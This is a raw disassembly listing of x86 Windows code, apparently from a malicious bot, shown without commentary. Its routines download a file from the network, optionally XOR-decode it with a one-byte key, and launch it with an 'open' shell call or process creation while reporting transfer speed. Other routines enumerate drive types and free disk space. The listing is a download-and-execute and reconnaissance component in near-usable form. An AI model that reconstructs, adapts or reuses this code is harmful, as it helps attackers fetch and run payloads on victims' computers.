		pop	ecx
		jmp	loc_416122
; ---------------------------------------------------------------------------


loc_416034:				; CODE XREF: ___:0041601Aj
		push	edi
		call	dword_4CB00C
		cmp	[ebp+8], esi
		jz	loc_4160E6
		mov	edi, 400h


loc_416049:				; CODE XREF: ___:004160DDj
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_416056
		mov	[ebp-4], eax


loc_416056:				; CODE XREF: ___:00416051j
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2760000h
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		call	near ptr 26F0000h
		nop
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_4CAFC4
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4CAF8C
		cmp	eax, ebx
		jl	loc_41617B
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_41617B
		sub	[ebp+8], eax
		jnz	loc_416049
		mov	edi, [ebp-18h]


loc_4160E6:				; CODE XREF: ___:0041603Ej
		push	dword ptr [ebp-8]
		nop
		call	near ptr 265092Ah
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_4374B0
		push	eax
		call	sub_41B886


loc_41611F:				; CODE XREF: ___:00415FF6j
		add	esp, 14h


loc_416122:				; CODE XREF: ___:0041602Fj
		cmp	[ebp-50h], esi
		jnz	short loc_416147
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		add	esp, 14h


loc_416147:				; CODE XREF: ___:00416125j
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_4151AC
		cmp	edi, esi
		pop	ecx
		jbe	short loc_41615F
		push	edi
		call	dword_4CB00C


loc_41615F:				; CODE XREF: ___:00416156j
		push	dword ptr [ebp-1F8h]
		call	dword_4CB00C
		push	dword ptr [ebp-58h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h


loc_41617B:				; CODE XREF: ___:004160C9j
					; ___:004160D4j
		push	esi
		mov	esi, offset dword_437498
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		push	esi
		call	sub_4151AC
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4CB00C
		push	dword ptr [ebp-58h]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 26D0000h
		nop


loc_4161BC:				; DATA XREF: sub_401ACD+7B4o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		nop
		call	near ptr 2670000h
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_4293C4
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 26F0867h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416246
		push	offset unk_437614
		jmp	short loc_41628C
; ---------------------------------------------------------------------------


loc_416246:				; CODE XREF: ___:0041623Dj
		push	eax
		nop
		call	near ptr 265092Ah
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41B4C2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_41626E
		push	offset unk_4375E4
		jmp	short loc_41628C
; ---------------------------------------------------------------------------


loc_41626E:				; CODE XREF: ___:00416265j
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_415BD3
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_41629F
		push	offset unk_4375C4


loc_41628C:				; CODE XREF: ___:00416244j
					; ___:0041626Cj
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_41639B
; ---------------------------------------------------------------------------


loc_41629F:				; CODE XREF: ___:00416285j
		mov	esi, 1000h


loc_4162A4:				; CODE XREF: ___:0041630Aj
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAF8C
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41636B
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41630C
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41D2B4
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4CAF70
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFC4
		jmp	short loc_4162A4
; ---------------------------------------------------------------------------


loc_41630C:				; CODE XREF: ___:004162D4j
		lea	eax, [ebp-4C4h]
		push	offset dword_437498
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A72
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-4]
		call	sub_41B05B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4CB00C
		push	dword ptr [ebp-1Ch]
		call	sub_40B412
		pop	ecx
		push	1
		call	near ptr 26D0000h
		nop


loc_41636B:				; CODE XREF: ___:004162CBj
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_437598
		push	eax
		call	sub_41B886
		add	esp, 14h


loc_41639B:				; CODE XREF: ___:0041629Aj
		cmp	[ebp-14h], ebx
		jnz	short loc_4163C0
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A72
		add	esp, 14h


loc_4163C0:				; CODE XREF: ___:0041639Ej
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AC
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_4163DB
		push	dword ptr [ebp-4]
		call	sub_41B05B
		pop	ecx


loc_4163DB:				; CODE XREF: ___:004163D0j
		cmp	[ebp+8], ebx
		jbe	short loc_4163E9
		push	dword ptr [ebp+8]
		call	dword_4CB00C


loc_4163E9:				; CODE XREF: ___:004163DEj
		push	dword ptr [ebp-1Ch]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 26D0000h
		nop


loc_4163F9:				; DATA XREF: sub_401ACD+6279o
					; sub_401ACD+6AB9o
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4CAF24
		call	dword_4CAE78
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416885
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		nop
		call	near ptr 26F0867h
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_4164C0
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_4377E0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4164A3
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h


loc_4164A3:				; CODE XREF: ___:00416481j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-48h]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26D0000h
		nop


loc_4164C0:				; CODE XREF: ___:00416461j
		xor	edi, edi
		nop
		call	near ptr 2680D12h
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41B4D5
		pop	ecx
		mov	[ebp-1Ch], eax


loc_4164DA:				; CODE XREF: ___:004165ADj
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4CAE80
		cmp	[ebp-34h], esi
		jz	short loc_41651E
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4168EB
		pop	ecx
		pop	ecx


loc_41651E:				; CODE XREF: ___:0041650Bj
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		nop
		call	near ptr 26E0000h
		cmp	edi, ebx
		jnb	short loc_41655C
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_416546
		mov	eax, [ebp+8]


loc_416546:				; CODE XREF: ___:00416541j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch


loc_41655C:				; CODE XREF: ___:00416538j
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_416569
		cmp	edi, [ebp-3Ch]
		ja	short loc_4165B3


loc_416569:				; CODE XREF: ___:00416562j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_416583
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_4377B8
		jmp	short loc_416593
; ---------------------------------------------------------------------------


loc_416583:				; CODE XREF: ___:0041656Fj
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437790


loc_416593:				; CODE XREF: ___:00416581j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43DCB0
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_4164DA


loc_4165B3:				; CODE XREF: ___:00416567j
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_416608
		cmp	edi, [ebp-3Ch]
		jz	short loc_416608
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_437764
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 28h


loc_416608:				; CODE XREF: ___:004165BDj
					; ___:004165C2j
		nop
		call	near ptr 2680D12h
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		nop
		call	near ptr 265092Ah
		push	dword ptr [ebp-1Ch]
		call	sub_41B0B1
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_416692
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_416692
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_43773C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 28h


loc_416692:				; CODE XREF: ___:0041663Aj
					; ___:0041664Cj
		cmp	[ebp-14h], esi
		jz	loc_4168D2
		cmp	dword ptr [ebp-44h], 1
		jz	loc_41678D
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_437704
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_41670D
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h


loc_41670D:				; CODE XREF: ___:004166EBj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_4168D2
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CAEE0
		cmp	[ebp-30h], esi
		jnz	loc_4168D2
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_4376E8
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 24h
		jmp	loc_4168D2
; ---------------------------------------------------------------------------


loc_41678D:				; CODE XREF: ___:0041669Fj
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_4376A4
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4167F5
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h


loc_4167F5:				; CODE XREF: ___:004167D3j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset dword_43D128
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		nop
		call	near ptr 2650BFCh
		cmp	eax, edi
		jnz	short loc_416877
		call	dword_4CAECC
		call	sub_418359
		push	esi
		call	near ptr 77E75CB5h
		nop


loc_416877:				; CODE XREF: ___:00416863j
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_437670
		jmp	short loc_416891
; ---------------------------------------------------------------------------


loc_416885:				; CODE XREF: ___:0041643Ej
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437644


loc_416891:				; CODE XREF: ___:00416883j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4168C5
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h


loc_4168C5:				; CODE XREF: ___:004168A3j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_4168D2:				; CODE XREF: ___:00416695j
					; ___:0041671Ej ...
		push	dword ptr [ebp-18h]
		call	dword_4CAFA8
		push	dword ptr [ebp-48h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h

; =============== S U B	R O U T	I N E =======================================



sub_4168EB	proc near		; CODE XREF: ___:00416517p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416907


loc_4168F7:				; CODE XREF: sub_4168EB+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_4168F7

locret_416907:				; CODE XREF: sub_4168EB+Aj
		retn
sub_4168EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_416908	proc near		; CODE XREF: sub_401ACD+5841p
					; sub_401ACD+5969p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41D3BE
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416908	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416922	proc near		; CODE XREF: sub_40F96A+458p
					; sub_40F96A+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D2BA8
		push	0
		push	edi
		call	sub_41B590
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_416947:				; CODE XREF: sub_416922+5Bj
					; sub_416922+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41D480
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41D410
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416985
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416947
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416947
; ---------------------------------------------------------------------------


loc_416985:				; CODE XREF: sub_416922+4Bj
		dec	esi
		mov	eax, edi


loc_416988:				; CODE XREF: sub_416922+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416997
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416988
; ---------------------------------------------------------------------------


loc_416997:				; CODE XREF: sub_416922+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416922	endp


; =============== S U B	R O U T	I N E =======================================



sub_4169A1	proc near		; CODE XREF: sub_416B56+51p
					; sub_416B56+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CAFD4
		sub	eax, 0
		jz	short loc_4169E4
		dec	eax
		jz	short loc_4169DE
		dec	eax
		dec	eax
		jz	short loc_4169D8
		dec	eax
		jz	short loc_4169D2
		dec	eax
		jz	short loc_4169CC
		dec	eax
		jz	short loc_4169C6
		mov	eax, offset word_437834
		retn
; ---------------------------------------------------------------------------


loc_4169C6:				; CODE XREF: sub_4169A1+1Dj
		mov	eax, offset off_437830
		retn
; ---------------------------------------------------------------------------


loc_4169CC:				; CODE XREF: sub_4169A1+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_4169D2:				; CODE XREF: sub_4169A1+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_4169D8:				; CODE XREF: sub_4169A1+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_4169DE:				; CODE XREF: sub_4169A1+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_4169E4:				; CODE XREF: sub_4169A1+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_4169A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169EA	proc near		; CODE XREF: sub_416A32+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CAE64
		test	eax, eax
		jz	short loc_416A1F
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_416A1F:				; CODE XREF: sub_4169EA+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_4169EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A32	proc near		; CODE XREF: sub_416B56+17p
					; sub_41AA42+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4169EA
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		pop	ebx
		jmp	short loc_416B42
; ---------------------------------------------------------------------------


loc_416B10:				; CODE XREF: sub_416A32+2Cj
					; sub_416A32+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_416B42:				; CODE XREF: sub_416A32+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416A32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B56	proc near		; CODE XREF: sub_416C28+17p
					; sub_416C28+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416A32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416BC9
		push	ebx
		push	ebx
		call	sub_4169A1
		pop	ecx
		push	eax
		push	offset unk_437884
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_416BFD
; ---------------------------------------------------------------------------


loc_416BC9:				; CODE XREF: sub_416B56+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_4169A1
		pop	ecx
		push	eax
		push	offset unk_437848
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 20h


loc_416BFD:				; CODE XREF: sub_416B56+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_4151AC
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416B56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C28	proc near		; CODE XREF: sub_401ACD+2553p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416C49
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B56
		add	esp, 10h
		jmp	short loc_416CAA
; ---------------------------------------------------------------------------


loc_416C49:				; CODE XREF: sub_416C28+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CAEDC
		lea	esi, [eax+2]
		push	esi
		call	sub_41B4D5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CAEDC
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_416CA1


loc_416C6D:				; CODE XREF: sub_416C28+77j
		push	offset aA_1	; "A:\\"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416C90
		push	esi
